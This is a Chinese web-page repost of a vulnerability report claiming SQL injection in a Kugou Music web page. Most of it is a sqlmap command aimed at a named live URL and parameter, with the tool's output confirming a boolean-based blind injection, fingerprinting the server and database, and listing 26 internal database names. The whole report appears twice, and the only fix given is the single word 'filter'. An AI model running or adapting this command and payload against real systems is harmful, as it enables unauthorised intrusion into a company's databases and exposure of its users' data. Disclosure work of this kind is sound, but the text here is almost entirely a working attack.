欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

酷狗音乐某站存在SQL注入

程序员文章站 2022-03-31 10:08:50
注入   https://www1.kugou.com/ting/Pager.aspx?r=0.21206053676474657&tableName=C...

注入

 

https://www1.kugou.com/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source%3D2+and+SourceID%3D53*++&pageIndex=1



where参数存在注入

python sqlmap.py -c sqlmap.conf -u "https://www1.kugou.com/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source%3D2+and+SourceID%3D53*++&pageIndex=1" --level 2 --dbms mssql --skip-urlencode --string "m66.host.sk" --dbs

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| https://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program



[*] starting at 18:00:48



[18:00:48] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3'

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[18:00:50] [INFO] testing connection to the target URL

[18:00:50] [INFO] testing if the provided string is within the target URL page content

[18:00:50] [INFO] testing if URI parameter '#1*' is dynamic

sqlmap got a 302 redirect to 'https://www1.kugou.com:80/404.htm?aspxerrorpath=/ting/Pager.aspx'. Do you want to follow? [Y/n] n

[18:00:56] [INFO] confirming that URI parameter '#1*' is dynamic

[18:00:56] [INFO] URI parameter '#1*' is dynamic

[18:00:56] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable

[18:00:56] [INFO] testing for SQL injection on URI parameter '#1*'

[18:00:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[18:00:56] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[18:00:56] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)

[18:00:57] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)

[18:00:57] [INFO] checking if the injection point on URI parameter '#1*' is a false positive

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: https://www1.kugou.com:80/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source=2+and+SourceID=53 AND 5090=5090++&pageIndex=1

---

[18:01:05] [INFO] testing Microsoft SQL Server

[18:01:05] [INFO] confirming Microsoft SQL Server

[18:01:05] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005

[18:01:05] [INFO] fetching database names

[18:01:05] [INFO] fetching number of databases

[18:01:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:01:05] [INFO] retrieved: 26

[18:01:06] [INFO] retrieved: ADS

[18:01:07] [INFO] retrieved: AdvManage

[18:01:11] [INFO] retrieved: AndroidNewUserStat

[18:01:18] [INFO] retrieved: Commend

[18:01:21] [INFO] retrieved: ConcernStat

[18:01:25] [INFO] retrieved: Email

[18:01:27] [INFO] retrieved: Imusic2012

[18:01:31] [INFO] retrieved: KugooCMS

[18:01:35] [INFO] retrieved: KugooManage

[18:01:39] [INFO] retrieved: KugooNews

[18:01:43] [INFO] retrieved: kugootopic

[18:01:47] [INFO] retrieved: KugooV3

[18:01:50] [INFO] retrieved: master

[18:01:52] [INFO] retrieved: model

[18:01:55] [INFO] retrieved: msdb

[18:01:56] [INFO] retrieved: Musician

[18:02:00] [INFO] retrieved: MusicInfo2

[18:02:04] [INFO] retrieved: MusicRadio

[18:02:08] [INFO] retrieved: MvAd

[18:02:10] [INFO] retrieved: NetMaintenance

[18:02:15] [INFO] retrieved: PasswordAppeal

[18:02:21] [INFO] retrieved: RadioService

[18:02:26] [INFO] retrieved: SoftBind

[18:02:29] [INFO] retrieved: tempdb

[18:02:32] [INFO] retrieved: TMusic

[18:02:34] [INFO] retrieved: TopicPlate

available databases [26]:

[*] ADS

[*] AdvManage

[*] AndroidNewUserStat

[*] Commend

[*] ConcernStat

[*] Email

[*] Imusic2012

[*] KugooCMS

[*] KugooManage

[*] KugooNews

[*] kugootopic

[*] KugooV3

[*] master

[*] model

[*] msdb

[*] Musician

[*] MusicInfo2

[*] MusicRadio

[*] MvAd

[*] NetMaintenance

[*] PasswordAppeal

[*] RadioService

[*] SoftBind

[*] tempdb

[*] TMusic

[*] TopicPlate

 

https://www1.kugou.com/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source%3D2+and+SourceID%3D53*++&pageIndex=1



where参数存在注入

python sqlmap.py -c sqlmap.conf -u "https://www1.kugou.com/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source%3D2+and+SourceID%3D53*++&pageIndex=1" --level 2 --dbms mssql --skip-urlencode --string "m66.host.sk" --dbs

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| https://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program



[*] starting at 18:00:48



[18:00:48] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3'

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[18:00:50] [INFO] testing connection to the target URL

[18:00:50] [INFO] testing if the provided string is within the target URL page content

[18:00:50] [INFO] testing if URI parameter '#1*' is dynamic

sqlmap got a 302 redirect to 'https://www1.kugou.com:80/404.htm?aspxerrorpath=/ting/Pager.aspx'. Do you want to follow? [Y/n] n

[18:00:56] [INFO] confirming that URI parameter '#1*' is dynamic

[18:00:56] [INFO] URI parameter '#1*' is dynamic

[18:00:56] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable

[18:00:56] [INFO] testing for SQL injection on URI parameter '#1*'

[18:00:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[18:00:56] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[18:00:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[18:00:56] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)

[18:00:57] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)

[18:00:57] [INFO] checking if the injection point on URI parameter '#1*' is a false positive

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: https://www1.kugou.com:80/ting/Pager.aspx?r=0.21206053676474657&tableName=Comments&action=getdata&pageSize=6&selectFields=&orderField=AddTime&isDesc=True&where=++Source=2+and+SourceID=53 AND 5090=5090++&pageIndex=1

---

[18:01:05] [INFO] testing Microsoft SQL Server

[18:01:05] [INFO] confirming Microsoft SQL Server

[18:01:05] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005

[18:01:05] [INFO] fetching database names

[18:01:05] [INFO] fetching number of databases

[18:01:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:01:05] [INFO] retrieved: 26

[18:01:06] [INFO] retrieved: ADS

[18:01:07] [INFO] retrieved: AdvManage

[18:01:11] [INFO] retrieved: AndroidNewUserStat

[18:01:18] [INFO] retrieved: Commend

[18:01:21] [INFO] retrieved: ConcernStat

[18:01:25] [INFO] retrieved: Email

[18:01:27] [INFO] retrieved: Imusic2012

[18:01:31] [INFO] retrieved: KugooCMS

[18:01:35] [INFO] retrieved: KugooManage

[18:01:39] [INFO] retrieved: KugooNews

[18:01:43] [INFO] retrieved: kugootopic

[18:01:47] [INFO] retrieved: KugooV3

[18:01:50] [INFO] retrieved: master

[18:01:52] [INFO] retrieved: model

[18:01:55] [INFO] retrieved: msdb

[18:01:56] [INFO] retrieved: Musician

[18:02:00] [INFO] retrieved: MusicInfo2

[18:02:04] [INFO] retrieved: MusicRadio

[18:02:08] [INFO] retrieved: MvAd

[18:02:10] [INFO] retrieved: NetMaintenance

[18:02:15] [INFO] retrieved: PasswordAppeal

[18:02:21] [INFO] retrieved: RadioService

[18:02:26] [INFO] retrieved: SoftBind

[18:02:29] [INFO] retrieved: tempdb

[18:02:32] [INFO] retrieved: TMusic

[18:02:34] [INFO] retrieved: TopicPlate

available databases [26]:

[*] ADS

[*] AdvManage

[*] AndroidNewUserStat

[*] Commend

[*] ConcernStat

[*] Email

[*] Imusic2012

[*] KugooCMS

[*] KugooManage

[*] KugooNews

[*] kugootopic

[*] KugooV3

[*] master

[*] model

[*] msdb

[*] Musician

[*] MusicInfo2

[*] MusicRadio

[*] MvAd

[*] NetMaintenance

[*] PasswordAppeal

[*] RadioService

[*] SoftBind

[*] tempdb

[*] TMusic

[*] TopicPlate

解决方案:

过滤